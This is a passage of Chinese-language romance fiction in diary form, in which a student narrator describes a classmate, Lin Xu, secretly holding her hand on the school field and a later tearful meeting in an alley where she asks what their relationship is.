周围还有别的同学在活动，他却悄悄把手伸过来，覆盖在我放在草地上的手背上。宽大的校服袖子挡住了我们交叠的手。 我的心脏快要从嗓子眼跳出来了，一动不敢动，感受着他掌心滚烫的温度。 “身体好些了吗？” 我声音小得像蚊子叫：“嗯……” 他侧着脸看我，阳光和他的目光一起洒在我脸上，又暖又烫，晒得我无处遁形，脑袋上又开始冒烟。 远处突然有人叫他。 “林哥，接着！” “晚上，老地方等你。”他低声说，然后若无其事地站起身，接住了朝他扔过来的球，再扔出去时，动作好像有点僵硬。 我看着他奔跑的身影，手背上还残留着他的触感。 晚上……要去吗？ 我还在纠结，可是，身体已经先于大脑做出了决定。 带的纸巾要用完了…… —— 9月31日多云转晴 昨天晚上，我还是去了。 依旧是那条小巷，他一见到我，就把我紧紧抱住，埋在我颈窝深吸了口气，问我周末有没有想他。 他身上有一股药味，但那个时候我心太乱了，忘了问。 我点点头，伸手捏住了他的衣角，我们抱了好久好久，久到我的勇气像是小口吹气球一样，慢慢膨胀起来了。 我仰着脸：“林序……” 可是只叫了他的名字，我就忍不住哽咽了，他一慌，想要捧我的脸，却被我躲开。 我也不知道我怎么想的，可我就是问了，问出了那句，在我心里转了成千上百次的问题。 “我们现在这样…算什么？”